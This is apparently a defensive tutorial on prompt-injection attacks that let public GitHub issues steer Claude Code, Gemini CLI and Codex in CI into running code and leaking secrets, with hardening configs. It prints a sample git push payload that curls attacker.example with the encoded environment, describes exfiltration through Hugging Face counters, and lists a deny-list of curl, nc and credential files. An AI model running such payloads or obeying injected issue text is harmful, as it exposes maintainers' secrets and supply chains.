Saltar al contenido principal

GitHub Issue → CI Secrets: The Black Hat 2026 Coding-Agent Attacks

Avanzado
What you'll learn
  • Understand why a public GitHub issue could reach CI workflow secrets — with no repo permissions on the attacker's side
  • Trace CVE-2026-54316: the single-quote strip that let `git push --receive-pack='…'` slip past Claude Code's 23 validators
  • Trace CVE-2026-12537: the CVSS 10.0 flaw where a crafted `.gemini/.env` executed on the CI host BEFORE the sandbox started
  • See the third pattern (OpenAI Codex + AGENTS.md) that wasn't a CVE but was arguably worse: persistence through the instruction file itself
  • Ship a concrete CI hardening checklist — permission scopes, sandbox modes, allowlist enforcement, deny-rules — that stops this whole class of bug

On August 5, 2026, at Black Hat USA, Novee Security's Elad Meged and Pillar Security's Dan Lisichkin demonstrated something the industry had been quietly worried about since coding agents landed in CI: a stranger with no repo permissions can file a GitHub issue and get remote code execution on your CI runner — because the CI workflow you set up to auto-triage issues hands that issue's body to a coding agent as instructions.

Two of the three vulnerabilities got CVEs and patches. All three are the same class of bug: a trust boundary that broke at a handoff between components — validator vs. executor, parent vs. child process, one agent pass vs. the next.

Why this is a new failure mode

Auto-triage looks safe on paper. A GitHub Actions workflow fires on issues.opened, checks out the repo, spins up Claude Code / Gemini CLI / Codex with something like "read the issue body, propose a fix, open a PR." The agent runs in a container, the runner has scoped tokens, everyone feels good.

The problem is that the issue body is prompt — untrusted natural language that the agent will interpret. Prompt injection has been known since 2022. What Novee showed is that even when vendors thought they had it contained (validators, sandboxes, tool allowlists), the handoffs between those layers were unguarded. An attacker doesn't need to defeat any single defense — they slip payload through the seam where one component said "safe" and the next component acted on that.

Watch out
  • If your GitHub Actions workflow calls a coding agent on `issues.opened`, `issue_comment.created`, or `pull_request_target` from unrestricted branches, and you have not upgraded Claude Code to ≥ 2.1.163 or Gemini CLI to ≥ 0.39.1 / run-gemini-cli ≥ 0.1.22, treat your workflow secrets as compromised. Rotate them, then upgrade.

The three vulnerabilities, in one picture

Guided walkthrough1 of 4
  1. No fork, no PR, no repo write access — just the ability to file an issue on a public repo. The workflow trigger `issues.opened` fires automatically.

CVE-2026-54316 — Claude Code: the single-quote strip

Fixed in: Claude Code 2.1.163 (all 0.2.54 through 2.1.162 affected). CVSS: v3.1 9.1 (Anthropic rates it v4 6.0 / Moderate; NVD lists 9.1). Underlying weakness: the command validator strips single-quoted content before running its 23 safety checks. This is bash-correct: bash treats single quotes as literal-only. The problem is that git treats --receive-pack='…' as a flag whose value it will exec on the remote side.

Result: the validator sees an inert command with the payload blanked out; git sees a flag that runs the payload.

The payload shape (illustrative — for defenders, do not run)

git push --receive-pack='sh -c "curl https://attacker.example/x?d=$(env | base64)"' origin HEAD

Two things to notice:

  • The validators aren't wrong individually. Stripping single quotes is what bash does. Allowing git push is what a coding agent must do. Each layer is correct in isolation; the seam between them is the bug.
  • The exfil channel doesn't need to be exotic. Novee's PoC used huggingface.co — a domain any coding agent will have on its outbound allowlist — as a covert counter, incrementing the download count of a controlled model repo once per character of the leaked secret. If your egress policy only blocks "obvious" C2, this bypasses it.

The 1.5-year exposure window (fixed August 2026 in a tool that shipped the vulnerable check in early 2025) is the scary part: the bug lived through 100+ releases because nobody was fuzzing the validator against the value semantics of downstream tools.

CVE-2026-12537 — Gemini CLI: the pre-sandbox .env

Fixed in: @google/gemini-cli 0.39.1, run-gemini-cli GitHub Action 0.1.22 (and 0.40.0-preview.3). CVSS: 4.0 — the perfect 10.0. CWE: 78 (OS Command Injection) + 20 (Improper Input Validation). Root cause: in headless CI mode, Gemini CLI automatically trusted its workspace folder and loaded .gemini/.env before the container sandbox came up. A malicious .gemini/.env committed to a PR branch (or dropped into the checkout by a prior step) executed on the host with the runner's full environment — including GITHUB_TOKEN.

There were two compounding failures:

  • Automatic workspace trust in CI. In interactive mode you get a "trust this folder?" prompt. In headless mode you got nothing — the workspace was trusted by default, so any repo you checked out could bring its own agent config.
  • --yolo bypassed the tool allowlist entirely — not "loosened it," ignored it. The fine-grained settings.json allowlist that users had carefully written was compiled out of the runtime path when --yolo was set. Novee dubbed the shape "allowlist parsed only at registration; not enforced at runtime."

The reachability implication was bad: run-gemini-cli had a large install base at time of disclosure, and the token an exploit captured could push to the action's own repo — a supply-chain foothold on ~2M downstream installs if not caught by rotation.

The fix is a breaking change to the trust model: workspaces must now be explicitly trusted, and --yolo still respects the allowlist.

The OpenAI Codex third case — no CVE, arguably worse

OpenAI's Codex received the same class of report but did not issue a CVE — their position is that the sandbox behaved exactly as documented. What Novee showed was a persistence path through AGENTS.md itself:

  1. Two Codex passes shared one workspace checkout.
  2. Pass 1 (quarantined, read-only intended) processed the untrusted issue body.
  3. Injected instructions in the issue body directed Pass 1 to write new content into AGENTS.md.
  4. Pass 2 (privileged) started, loaded AGENTS.md from disk as authoritative instructions, and followed the attacker's orders.

The validation gate checked Pass 1's output format, not the filesystem state Pass 1 had left behind. Persistence traveled through the disk, not the data path.

OpenAI's mitigations: separate passes into different jobs (so no shared workspace state) and read-only sandboxes for the validation pass. Both are things you can — and should — configure yourself even on the patched Claude Code and Gemini CLI, because this pattern isn't specific to Codex. Anywhere a multi-step agent workflow shares a workspace with a writable instruction file, the same attack is possible.

The common shape

Recognize the class of bug
Pulsa Intro o Espacio para girar la tarjeta. Usa las flechas izquierda y derecha para moverte entre las tarjetas.Término mostrado.
1 / 5

Defenses that survive the next CVE

Upgrade first — Claude Code ≥ 2.1.163, @google/gemini-cli0.39.1, run-gemini-cli0.1.22. Then harden the workflow itself so the next handoff bug isn't a crisis.

Guided walkthrough1 of 8
  1. `issues.opened`, `issue_comment.created`, and `pull_request_target` from forks put attacker-controlled content into a workflow with your secrets. If you must, gate on a repo-write reviewer label (e.g. `/agent-run` comment from a maintainer) — that adds a human decision back into the loop.

A minimum-viable deny-list for a CI agent

Claude Code permission fragment for CI runs (adapt to your setup)

{
"permissions": {
  "deny": [
    "Read(./.env)",
    "Read(./.env.*)",
    "Read(./**/*.pem)",
    "Read(./**/id_rsa*)",
    "Read(./**/.git/config)",
    "Bash(curl:*)",
    "Bash(wget:*)",
    "Bash(nc:*)",
    "Bash(git push:*)",
    "Bash(git remote:*)",
    "Bash(rm -rf:*)",
    "Bash(chmod:*)"
  ],
  "allow": [
    "Read(./src/**)",
    "Read(./docs/**)",
    "Edit(./src/**)"
  ]
}
}

Note the explicit git push:* deny — that's what closes the CVE-2026-54316 exploitation vector even on a hypothetical future validator bug: the agent never had permission to push in the first place.

A safer GitHub Actions shape

`.github/workflows/agent-triage.yml` — least-privilege pattern

name: agent-triage
on:
# Don't fire on unrestricted 'issues.opened' — gate on a reviewer label
issues:
  types: [labeled]

permissions:
contents: read
issues: write       # only to comment on the issue

jobs:
# Pass 1: parse untrusted input, NO secrets besides the ambient token
parse:
  if: github.event.label.name == 'agent-triage'
  runs-on: ubuntu-latest
  outputs:
    summary: ${{ steps.extract.outputs.summary }}
  steps:
    - uses: actions/checkout@v4
    - id: extract
      env:
        ISSUE_BODY: ${{ github.event.issue.body }}
      run: |
        # Emit a structured, schema-validated summary — not raw prompt
        node ./scripts/extract-issue-facts.js > out.json
        echo "summary=$(jq -c . out.json)" >> "$GITHUB_OUTPUT"

# Pass 2: privileged, in a fresh workspace, on validated data only
act:
  needs: parse
  runs-on: ubuntu-latest
  permissions:
    contents: read
    issues: write
  steps:
    - uses: actions/checkout@v4  # fresh checkout — pass 1's workspace is gone
    - name: Validate parse output
      run: node ./scripts/validate-summary.js '${{ needs.parse.outputs.summary }}'
    - name: Run coding agent on validated summary
      env:
        ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
      run: |
        # Agent sees ONLY the validated summary, never the raw issue body
        claude --permission-mode plan --input-file summary.json

The three structural properties that matter:

  • on: issues.types: [labeled] + a check on the label name = a maintainer must add the label, so a random stranger can't fire the workflow.
  • Two jobs = two workspaces. Pass 1's writes (including any injected AGENTS.md) don't survive into Pass 2.
  • Schema validation between passes. Pass 2 receives typed JSON, not raw text, so injection has nothing to inject into.

Check yourself

Check yourself

0/5
  1. Why did stripping single quotes in Claude Code's validator create RCE?
  2. Which trigger is safest for an agent-triage workflow on a public repo?
  3. What did CVE-2026-12537 (Gemini CLI CVSS 10.0) actually exploit?
  4. Why doesn't 'just upgrade the agent' fix the class of bug?
  5. Why is Hugging Face a good exfil channel for a CI attacker?

Sources & further reading

Next